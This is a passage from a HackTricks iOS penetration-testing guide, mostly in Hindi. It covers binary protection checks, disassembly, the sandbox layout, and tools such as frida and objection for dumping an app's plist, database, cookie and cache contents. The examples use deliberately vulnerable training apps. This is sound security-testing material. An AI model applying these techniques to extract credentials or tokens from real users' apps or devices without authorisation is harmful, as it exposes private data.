iOS Pentesting

Reading time: 48 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

सदस्यता योजनाएँ देखें!
हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।

Testing Environment

इस पृष्ठ पर आप iOS सिम्युलेटर, इम्यूलेटर और जेलब्रेकिंग के बारे में जानकारी पा सकते हैं:

iOS Testing Environment

परीक्षण के दौरान कई ऑपरेशन सुझाए जाएंगे (डिवाइस से कनेक्ट करना, फ़ाइलें पढ़ना/लिखना/अपलोड/डाउनलोड करना, कुछ उपकरणों का उपयोग करना...)। इसलिए, यदि आप इनमें से किसी भी क्रिया को करने का तरीका नहीं जानते हैं, तो कृपया पृष्ठ पढ़ना शुरू करें:

iOS Basic Testing Operations

note

निम्नलिखित चरणों के लिए ऐप को डिवाइस पर स्थापित किया जाना चाहिए और पहले से ही एप्लिकेशन की IPA फ़ाइल प्राप्त कर ली जानी चाहिए।
यह जानने के लिए Basic iOS Testing Operations पृष्ठ पढ़ें कि इसे कैसे करना है।

Basic Static Analysis

कुछ दिलचस्प iOS - IPA फ़ाइल डिकंपाइलर्स:

https://github.com/LaurieWired/Malimite
https://ghidra-sre.org/

IPA फ़ाइल पर स्वचालित स्थैतिक विश्लेषण करने के लिए MobSF उपकरण का उपयोग करने की सिफारिश की जाती है।

बाइनरी में मौजूद सुरक्षा की पहचान:

PIE (Position Independent Executable): जब सक्षम होता है, तो एप्लिकेशन हर बार लॉन्च होने पर एक यादृच्छिक मेमोरी पते पर लोड होता है, जिससे इसके प्रारंभिक मेमोरी पते की भविष्यवाणी करना कठिन हो जाता है।

bash

otool -hv <app-binary> | grep PIE   # इसमें PIE ध्वज शामिल होना चाहिए

Stack Canaries: स्टैक की अखंडता को मान्य करने के लिए, एक 'कैनरी' मान को एक फ़ंक्शन को कॉल करने से पहले स्टैक पर रखा जाता है और फ़ंक्शन समाप्त होने पर फिर से मान्य किया जाता है।

bash

otool -I -v <app-binary> | grep stack_chk   # इसमें प्रतीक शामिल होना चाहिए: stack_chk_guard और stack_chk_fail

ARC (Automatic Reference Counting): सामान्य मेमोरी भ्रष्टाचार दोषों को रोकने के लिए

bash

otool -I -v <app-binary> | grep objc_release   # इसमें _objc_release प्रतीक शामिल होना चाहिए

Encrypted Binary: बाइनरी को एन्क्रिप्ट किया जाना चाहिए

bash

otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # क्रिप्टिड 1 होना चाहिए

संवेदनशील/असुरक्षित फ़ंक्शंस की पहचान

Weak Hashing Algorithms

bash

# iOS डिवाइस पर
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# लिनक्स पर
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"

Insecure Random Functions

bash

# iOS डिवाइस पर
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# लिनक्स पर
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"

Insecure ‘Malloc’ Function

bash

# iOS डिवाइस पर
otool -Iv <app> | grep -w "_malloc"

# लिनक्स पर
grep -iER "_malloc"

Insecure and Vulnerable Functions

bash

# iOS डिवाइस पर
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# लिनक्स पर
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

Basic Dynamic Analysis

देखें कि MobSF द्वारा किया गया गतिशील विश्लेषण। आपको विभिन्न दृश्य के माध्यम से नेविगेट करना होगा और उनके साथ इंटरैक्ट करना होगा, लेकिन यह अन्य चीजें करते समय कई कक्षाओं को हुक करेगा और जब आप समाप्त हो जाएंगे तो एक रिपोर्ट तैयार करेगा।

Listing Installed Apps

स्थापित ऐप्स के बंडल पहचानकर्ता का निर्धारण करने के लिए frida-ps -Uai कमांड का उपयोग करें:

bash

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

Basic Enumeration & Hooking

जानें कि ऐप्लिकेशन के घटकों की गणना कैसे करें और कैसे आसानी से विधियों और कक्षाओं को हुक करें objection के साथ:

iOS Hooking With Objection

IPA Structure

एक IPA फ़ाइल की संरचना मूल रूप से एक ज़िप पैकेज की होती है। इसके एक्सटेंशन को .zip में बदलकर, इसे डिकंप्रेस किया जा सकता है ताकि इसके सामग्री को प्रकट किया जा सके। इस संरचना के भीतर, एक Bundle एक पूरी तरह से पैक किया गया ऐप्लिकेशन है जो इंस्टॉलेशन के लिए तैयार है। इसके अंदर, आपको <NAME>.app नामक एक निर्देशिका मिलेगी, जो ऐप्लिकेशन के संसाधनों को संलग्न करती है।

Info.plist: यह फ़ाइल ऐप्लिकेशन के विशिष्ट कॉन्फ़िगरेशन विवरण रखती है।
_CodeSignature/: यह निर्देशिका एक plist फ़ाइल शामिल करती है जिसमें एक हस्ताक्षर होता है, जो बंडल में सभी फ़ाइलों की अखंडता सुनिश्चित करता है।
Assets.car: एक संकुचित संग्रह जो आइकनों जैसी संपत्ति फ़ाइलों को संग्रहीत करता है।
Frameworks/: यह फ़ोल्डर ऐप्लिकेशन की मूलभूत पुस्तकालयों को रखता है, जो .dylib या .framework फ़ाइलों के रूप में हो सकते हैं।
PlugIns/: इसमें ऐप्लिकेशन के लिए एक्सटेंशन शामिल हो सकते हैं, जिन्हें .appex फ़ाइलें कहा जाता है, हालांकि ये हमेशा मौजूद नहीं होते हैं। * Core Data: इसका उपयोग आपके ऐप्लिकेशन के स्थायी डेटा को ऑफ़लाइन उपयोग के लिए, अस्थायी डेटा को कैश करने के लिए, और एकल डिवाइस पर आपके ऐप में पूर्ववत कार्यक्षमता जोड़ने के लिए किया जाता है। एकल iCloud खाते में कई उपकरणों के बीच डेटा को समन्वयित करने के लिए, Core Data स्वचालित रूप से आपके स्कीमा को एक CloudKit कंटेनर में मिरर करता है।
PkgInfo: PkgInfo फ़ाइल आपके ऐप्लिकेशन या बंडल के प्रकार और निर्माता कोड निर्दिष्ट करने का एक वैकल्पिक तरीका है।
en.lproj, fr.proj, Base.lproj: ये भाषा पैक हैं जो उन विशिष्ट भाषाओं के लिए संसाधन शामिल करते हैं, और यदि कोई भाषा समर्थित नहीं है तो एक डिफ़ॉल्ट संसाधन।
Security: _CodeSignature/ निर्देशिका ऐप की सुरक्षा में एक महत्वपूर्ण भूमिका निभाती है, सभी बंडल की गई फ़ाइलों की अखंडता को डिजिटल हस्ताक्षरों के माध्यम से सत्यापित करती है।
Asset Management: Assets.car फ़ाइल ग्राफिकल संपत्तियों को कुशलतापूर्वक प्रबंधित करने के लिए संकुचन का उपयोग करती है, जो ऐप्लिकेशन के प्रदर्शन को अनुकूलित करने और इसके समग्र आकार को कम करने के लिए महत्वपूर्ण है।
Frameworks and PlugIns: ये निर्देशिकाएँ iOS ऐप्लिकेशनों की मॉड्यूलरिटी को रेखांकित करती हैं, जिससे डेवलपर्स को पुन: प्रयोज्य कोड पुस्तकालयों (Frameworks/) को शामिल करने और ऐप की कार्यक्षमता को बढ़ाने (PlugIns/) की अनुमति मिलती है।
Localization: संरचना कई भाषाओं का समर्थन करती है, विशिष्ट भाषा पैक के लिए संसाधनों को शामिल करके वैश्विक ऐप्लिकेशन पहुंच को सुविधाजनक बनाती है।

Info.plist

Info.plist iOS ऐप्लिकेशनों के लिए एक आधारशिला के रूप में कार्य करता है, की-मान जोड़ों के रूप में प्रमुख कॉन्फ़िगरेशन डेटा को संलग्न करता है। यह फ़ाइल न केवल ऐप्लिकेशनों के लिए बल्कि ऐप एक्सटेंशन और बंडल में शामिल फ्रेमवर्क के लिए भी आवश्यक है। यह XML या बाइनरी प्रारूप में संरचित होती है और ऐप की अनुमतियों से लेकर सुरक्षा कॉन्फ़िगरेशन तक महत्वपूर्ण जानकारी रखती है। उपलब्ध कुंजियों की विस्तृत खोज के लिए, कोई Apple Developer Documentation का संदर्भ ले सकता है।

जो लोग इस फ़ाइल के साथ अधिक सुलभ प्रारूप में काम करना चाहते हैं, उनके लिए XML रूपांतरण को macOS पर plutil का उपयोग करके आसानी से प्राप्त किया जा सकता है (जो संस्करण 10.2 और बाद में स्वदेशी रूप से उपलब्ध है) या Linux पर plistutil का उपयोग करके। रूपांतरण के लिए आदेश इस प्रकार हैं:

For macOS:

bash

$ plutil -convert xml1 Info.plist

Linux के लिए:

bash

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Info.plist फ़ाइल जो जानकारी प्रकट कर सकती है, उनमें प्रमुख प्रविष्टियाँ शामिल हैं जैसे ऐप अनुमति स्ट्रिंग्स (UsageDescription), कस्टम URL स्कीम्स (CFBundleURLTypes), और ऐप ट्रांसपोर्ट सुरक्षा के लिए कॉन्फ़िगरेशन (NSAppTransportSecurity)। ये प्रविष्टियाँ, साथ ही निर्यातित/आयातित कस्टम दस्तावेज़ प्रकार (UTExportedTypeDeclarations / UTImportedTypeDeclarations) जैसी अन्य प्रविष्टियाँ, फ़ाइल का निरीक्षण करके या एक साधारण grep कमांड का उपयोग करके आसानी से स्थित की जा सकती हैं:

bash

$ grep -i <keyword> Info.plist

डेटा पथ

iOS वातावरण में, निर्देशिकाएँ विशेष रूप से सिस्टम अनुप्रयोगों और उपयोगकर्ता-स्थापित अनुप्रयोगों के लिए निर्धारित की गई हैं। सिस्टम अनुप्रयोग /Applications निर्देशिका में स्थित होते हैं, जबकि उपयोगकर्ता-स्थापित ऐप्स /var/mobile/containers/Data/Application/ के अंतर्गत रखे जाते हैं। इन अनुप्रयोगों को एक अद्वितीय पहचानकर्ता दिया जाता है जिसे 128-बिट UUID कहा जाता है, जिससे किसी ऐप के फ़ोल्डर को मैन्युअल रूप से ढूंढना चुनौतीपूर्ण हो जाता है क्योंकि निर्देशिका नामों में यादृच्छिकता होती है।

warning

चूंकि iOS में अनुप्रयोगों को सैंडबॉक्स किया जाना चाहिए, प्रत्येक ऐप के पास $HOME/Library/Containers के अंदर एक फ़ोल्डर भी होगा जिसका नाम ऐप का CFBundleIdentifier होगा।

हालाँकि, दोनों फ़ोल्डर (डेटा और कंटेनर फ़ोल्डर) में फ़ाइल .com.apple.mobile_container_manager.metadata.plist होती है जो दोनों फ़ाइलों को कुंजी MCMetadataIdentifier में लिंक करती है।

उपयोगकर्ता-स्थापित ऐप के स्थापना निर्देशिका की खोज को सुविधाजनक बनाने के लिए, objection tool एक उपयोगी कमांड, env प्रदान करता है। यह कमांड संबंधित ऐप के लिए विस्तृत निर्देशिका जानकारी प्रकट करता है। नीचे इस कमांड का उपयोग करने का एक उदाहरण दिया गया है:

bash

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

वैकल्पिक रूप से, ऐप का नाम /private/var/containers के भीतर find कमांड का उपयोग करके खोजा जा सकता है:

bash

find /private/var/containers -name "Progname*"

कमांड जैसे ps और lsof का उपयोग ऐप के प्रोसेस की पहचान करने और क्रमशः खुले फ़ाइलों की सूची बनाने के लिए किया जा सकता है, जो ऐप्लिकेशन के सक्रिय डायरेक्टरी पाथ्स के बारे में जानकारी प्रदान करते हैं:

bash

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

Bundle directory:

AppName.app
यह एप्लिकेशन बंडल है जैसा कि IPA में पहले देखा गया था, इसमें आवश्यक एप्लिकेशन डेटा, स्थिर सामग्री और एप्लिकेशन का संकलित बाइनरी शामिल है।
यह निर्देशिका उपयोगकर्ताओं के लिए दृश्य है, लेकिन उपयोगकर्ता इसमें लिख नहीं सकते।
इस निर्देशिका में सामग्री बैकअप नहीं की जाती।
इस फ़ोल्डर की सामग्री का उपयोग कोड सिग्नेचर को मान्य करने के लिए किया जाता है।

Data directory:

Documents/
इसमें सभी उपयोगकर्ता-निर्मित डेटा शामिल है। एप्लिकेशन अंत उपयोगकर्ता इस डेटा के निर्माण की शुरुआत करता है।
उपयोगकर्ताओं के लिए दृश्य और उपयोगकर्ता इसमें लिख सकते हैं।
इस निर्देशिका में सामग्री बैकअप की जाती है।
ऐप NSURLIsExcludedFromBackupKey सेट करके पथों को अक्षम कर सकता है।
Library/
इसमें सभी फाइलें शामिल हैं जो उपयोगकर्ता-विशिष्ट नहीं हैं, जैसे कैश, प्रेफरेंस, कुकीज़, और प्रॉपर्टी लिस्ट (plist) कॉन्फ़िगरेशन फ़ाइलें।
iOS ऐप आमतौर पर Application Support और Caches उपनिर्देशिकाओं का उपयोग करते हैं, लेकिन ऐप कस्टम उपनिर्देशिकाएँ बना सकता है।
Library/Caches/
इसमें सेमी-स्थायी कैश की गई फ़ाइलें शामिल हैं।
उपयोगकर्ताओं के लिए अदृश्य और उपयोगकर्ता इसमें लिख नहीं सकते।
इस निर्देशिका में सामग्री बैकअप नहीं की जाती।
जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलें हटा सकता है।
Library/Application Support/
इसमें ऐप चलाने के लिए आवश्यक स्थायी फाइलें शामिल हैं।
उपयोगकर्ताओं के लिए अदृश्य और उपयोगकर्ता इसमें लिख नहीं सकते।
इस निर्देशिका में सामग्री बैकअप की जाती है।
ऐप NSURLIsExcludedFromBackupKey सेट करके पथों को अक्षम कर सकता है।
Library/Preferences/
इसका उपयोग उन प्रॉपर्टीज को स्टोर करने के लिए किया जाता है जो ऐप्लिकेशन के पुनरारंभ होने के बाद भी बनी रह सकती हैं।
जानकारी, बिना एन्क्रिप्ट किए, एप्लिकेशन सैंडबॉक्स के अंदर एक plist फ़ाइल में [BUNDLE_ID].plist के रूप में सहेजी जाती है।
NSUserDefaults का उपयोग करके संग्रहीत सभी कुंजी/मान जोड़े इस फ़ाइल में पाए जा सकते हैं।
tmp/
इस निर्देशिका का उपयोग अस्थायी फ़ाइलें लिखने के लिए करें जिन्हें ऐप लॉन्च के बीच में बने रहने की आवश्यकता नहीं है।
इसमें गैर-स्थायी कैश की गई फ़ाइलें शामिल हैं।
उपयोगकर्ताओं के लिए अदृश्य।
इस निर्देशिका में सामग्री बैकअप नहीं की जाती है।
जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलें हटा सकता है।

आइए iGoat-Swift के एप्लिकेशन बंडल (.app) निर्देशिका पर करीब से नज़र डालते हैं जो बंडल निर्देशिका के अंदर है (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):

bash

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

बाइनरी रिवर्सिंग

Inside the <application-name>.app folder you will find a binary file called <application-name>. This is the file that will be executed. You can perform a basic inspection of the binary with the tool otool:

bash

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

ऐप एन्क्रिप्टेड है या नहीं जांचें

देखें कि क्या इसके लिए कोई आउटपुट है:

bash

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

बाइनरी को डिसएसेंबल करना

टेक्स्ट सेक्शन को डिसएसेंबल करें:

bash

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

नमूना एप्लिकेशन के Objective-C खंड को प्रिंट करने के लिए आप उपयोग कर सकते हैं:

bash

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

एक अधिक संक्षिप्त Objective-C कोड प्राप्त करने के लिए आप class-dump का उपयोग कर सकते हैं:

bash

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

हालांकि, बाइनरी को डिस्सेम्बल करने के लिए सबसे अच्छे विकल्प हैं: Hopper और IDA।

डेटा संग्रहण

यह जानने के लिए कि iOS डिवाइस में डेटा कैसे संग्रहित करता है, इस पृष्ठ को पढ़ें:

iOS Basics

warning

जानकारी संग्रहित करने के लिए निम्नलिखित स्थानों की जांच ऐप्लिकेशन स्थापित करने के तुरंत बाद, ऐप्लिकेशन की सभी कार्यक्षमताओं की जांच करने के बाद और यहां तक कि एक उपयोगकर्ता से लॉगआउट करने और एक अलग में लॉगिन करने के बाद की जानी चाहिए।
लक्ष्य है अनसुरक्षित संवेदनशील जानकारी खोजना (पासवर्ड, टोकन), वर्तमान उपयोगकर्ता की और पहले लॉगिन किए गए उपयोगकर्ताओं की।

Plist

plist फ़ाइलें संरचित XML फ़ाइलें हैं जो की-मान जोड़े रखती हैं। यह स्थायी डेटा संग्रहित करने का एक तरीका है, इसलिए कभी-कभी आप इन फ़ाइलों में संवेदनशील जानकारी पा सकते हैं। ऐप स्थापित करने के बाद और इसका गहन उपयोग करने के बाद इन फ़ाइलों की जांच करने की सिफारिश की जाती है कि क्या नया डेटा लिखा गया है।

plist फ़ाइलों में डेटा को स्थायी रूप से संग्रहित करने का सबसे सामान्य तरीका NSUserDefaults का उपयोग करना है। यह plist फ़ाइल ऐप सैंडबॉक्स के अंदर Library/Preferences/<appBundleID>.plist में सहेजी जाती है।

NSUserDefaults क्लास डिफ़ॉल्ट सिस्टम के साथ इंटरैक्ट करने के लिए एक प्रोग्रामेटिक इंटरफ़ेस प्रदान करती है। डिफ़ॉल्ट सिस्टम एक एप्लिकेशन को उपयोगकर्ता प्राथमिकताओं के अनुसार अपने व्यवहार को अनुकूलित करने की अनुमति देता है। NSUserDefaults द्वारा सहेजा गया डेटा एप्लिकेशन बंडल में देखा जा सकता है। यह क्लास plist फ़ाइल में डेटा संग्रहित करती है, लेकिन इसे छोटे मात्रा में डेटा के साथ उपयोग करने के लिए डिज़ाइन किया गया है।

इस डेटा को सीधे एक विश्वसनीय कंप्यूटर के माध्यम से अधिक समय तक एक्सेस नहीं किया जा सकता है, लेकिन इसे बैकअप करके एक्सेस किया जा सकता है।

आप NSUserDefaults का उपयोग करके सहेजे गए जानकारी को dump कर सकते हैं, जिसका उपयोग objection के ios nsuserdefaults get से किया जा सकता है।

ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी plist फ़ाइलों को खोजने के लिए आप /private/var/mobile/Containers/Data/Application/{APPID} पर जा सकते हैं और चलाएं:

bash

find ./ -name "*.plist"

XML या बाइनरी (bplist) प्रारूप से XML में फ़ाइलों को परिवर्तित करने के लिए, आपके ऑपरेटिंग सिस्टम के आधार पर विभिन्न विधियाँ उपलब्ध हैं:

macOS उपयोगकर्ताओं के लिए: plutil कमांड का उपयोग करें। यह macOS (10.2+) में एक अंतर्निहित उपकरण है, जो इस उद्देश्य के लिए डिज़ाइन किया गया है:

bash

$ plutil -convert xml1 Info.plist

Linux उपयोगकर्ताओं के लिए: पहले libplist-utils स्थापित करें, फिर अपने फ़ाइल को परिवर्तित करने के लिए plistutil का उपयोग करें:

bash

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

एक Objection सत्र के भीतर: मोबाइल अनुप्रयोगों का विश्लेषण करने के लिए, एक विशिष्ट कमांड आपको plist फ़ाइलों को सीधे परिवर्तित करने की अनुमति देती है:

bash

ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist

Core Data

Core Data आपके एप्लिकेशन में ऑब्जेक्ट्स के मॉडल लेयर को प्रबंधित करने के लिए एक ढांचा है। Core Data अपने स्थायी स्टोर के रूप में SQLite का उपयोग कर सकता है, लेकिन ढांचा स्वयं एक डेटाबेस नहीं है।
CoreData डिफ़ॉल्ट रूप से अपने डेटा को एन्क्रिप्ट नहीं करता है। हालाँकि, CoreData में एक अतिरिक्त एन्क्रिप्शन लेयर जोड़ी जा सकती है। अधिक विवरण के लिए GitHub Repo देखें।

आप किसी एप्लिकेशन की SQLite Core Data जानकारी को पथ /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support में पा सकते हैं।

यदि आप SQLite खोल सकते हैं और संवेदनशील जानकारी तक पहुँच सकते हैं, तो आपने एक गलत कॉन्फ़िगरेशन पाया है।

Code from iGoat

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

YapDatabase

YapDatabase एक की/मान भंडार है जो SQLite के ऊपर बनाया गया है।
चूंकि Yap डेटाबेस SQLite डेटाबेस हैं, आप उन्हें पिछले अनुभाग में दिए गए कमांड का उपयोग करके खोज सकते हैं।

Other SQLite Databases

यह सामान्य है कि एप्लिकेशन अपने स्वयं के SQLite डेटाबेस बनाते हैं। वे उन पर संवेदनशील डेटा स्टोर कर सकते हैं और इसे एन्क्रिप्ट नहीं कर सकते। इसलिए, हमेशा एप्लिकेशन के निर्देशिका में हर डेटाबेस की जांच करना दिलचस्प होता है। इसलिए उस एप्लिकेशन निर्देशिका में जाएं जहां डेटा सहेजा गया है (/private/var/mobile/Containers/Data/Application/{APPID})

bash

find ./ -name "*.sqlite" -or -name "*.db"

Firebase Real-Time Databases

डेवलपर्स को डेटा स्टोर और सिंक करने की अनुमति मिलती है NoSQL क्लाउड-होस्टेड डेटाबेस के माध्यम से Firebase Real-Time Databases में। JSON प्रारूप में स्टोर किया गया डेटा सभी जुड़े हुए क्लाइंट्स के साथ वास्तविक समय में समन्वयित होता है।

आप यहाँ गलत कॉन्फ़िगर किए गए Firebase डेटाबेस की जांच कैसे करें, यह पा सकते हैं:

Firebase Database

Realm databases

Realm Objective-C और Realm Swift डेटा स्टोरेज के लिए एक शक्तिशाली विकल्प प्रदान करते हैं, जो Apple द्वारा प्रदान नहीं किया गया है। डिफ़ॉल्ट रूप से, वे डेटा को अनएन्क्रिप्टेड स्टोर करते हैं, विशेष कॉन्फ़िगरेशन के माध्यम से एन्क्रिप्शन उपलब्ध है।

डेटाबेस निम्नलिखित स्थान पर स्थित हैं: /private/var/mobile/Containers/Data/Application/{APPID}। इन फ़ाइलों का अन्वेषण करने के लिए, कोई कमांड का उपयोग कर सकता है:

bash

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

इन डेटाबेस फ़ाइलों को देखने के लिए, Realm Studio उपकरण की सिफारिश की जाती है।

एक Realm डेटाबेस के भीतर एन्क्रिप्शन लागू करने के लिए, निम्नलिखित कोड स्निपेट का उपयोग किया जा सकता है:

swift

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Couchbase Lite Databases

Couchbase Lite को एक हल्का और एंबेडेड डेटाबेस इंजन के रूप में वर्णित किया गया है जो डॉक्यूमेंट-ओरिएंटेड (NoSQL) दृष्टिकोण का पालन करता है। इसे iOS और macOS के लिए मूल रूप से डिज़ाइन किया गया है, यह डेटा को निर्बाध रूप से समन्वयित करने की क्षमता प्रदान करता है।

डिवाइस पर संभावित Couchbase डेटाबेस की पहचान करने के लिए, निम्नलिखित निर्देशिका की जांच की जानी चाहिए:

bash

ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

कुकीज़

iOS ऐप्स की कुकीज़ को प्रत्येक ऐप्स के फ़ोल्डर के अंदर Library/Cookies/cookies.binarycookies में स्टोर करता है। हालाँकि, डेवलपर्स कभी-कभी उन्हें कीचेन में सहेजने का निर्णय लेते हैं क्योंकि उल्लेखित कुकी फ़ाइल को बैकअप में एक्सेस किया जा सकता है।

कुकी फ़ाइल की जांच करने के लिए आप यह पायथन स्क्रिप्ट का उपयोग कर सकते हैं या objection के ios cookies get का उपयोग कर सकते हैं।
आप इन फ़ाइलों को JSON प्रारूप में परिवर्तित करने और डेटा की जांच करने के लिए objection का भी उपयोग कर सकते हैं।

bash

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

Cache

डिफ़ॉल्ट रूप से NSURLSession डेटा को स्टोर करता है, जैसे कि HTTP अनुरोध और प्रतिक्रियाएँ Cache.db डेटाबेस में। यह डेटाबेस संवेदनशील डेटा रख सकता है, यदि टोकन, उपयोगकर्ता नाम या कोई अन्य संवेदनशील जानकारी कैश की गई है। कैश की गई जानकारी खोजने के लिए ऐप के डेटा निर्देशिका को खोलें (/var/mobile/Containers/Data/Application/<UUID>) और /Library/Caches/<Bundle Identifier> पर जाएं। WebKit कैश भी Cache.db फ़ाइल में स्टोर किया जा रहा है। Objection इस डेटाबेस को खोल सकता है और कमांड sqlite connect Cache.db के साथ इंटरैक्ट कर सकता है, क्योंकि यह एक सामान्य SQLite डेटाबेस है।

यह सिफारिश की जाती है कि इस डेटा को कैशिंग बंद कर दिया जाए, क्योंकि इसमें अनुरोध या प्रतिक्रिया में संवेदनशील जानकारी हो सकती है। नीचे दी गई सूची विभिन्न तरीकों को दिखाती है जिससे इसे प्राप्त किया जा सकता है:

सिफारिश की जाती है कि लॉगआउट के बाद कैश की गई प्रतिक्रियाएँ हटा दी जाएँ। यह Apple द्वारा प्रदान की गई विधि removeAllCachedResponses के साथ किया जा सकता है। आप इस विधि को इस प्रकार कॉल कर सकते हैं:

URLCache.shared.removeAllCachedResponses()

यह विधि Cache.db फ़ाइल से सभी कैश किए गए अनुरोधों और प्रतिक्रियाओं को हटा देगी।

यदि आपको कुकीज़ के लाभ का उपयोग करने की आवश्यकता नहीं है, तो URLSession की .ephemeral कॉन्फ़िगरेशन प्रॉपर्टी का उपयोग करना सिफारिश की जाती है, जो कुकीज़ और कैश को सहेजने को बंद कर देगी।

Apple दस्तावेज़:

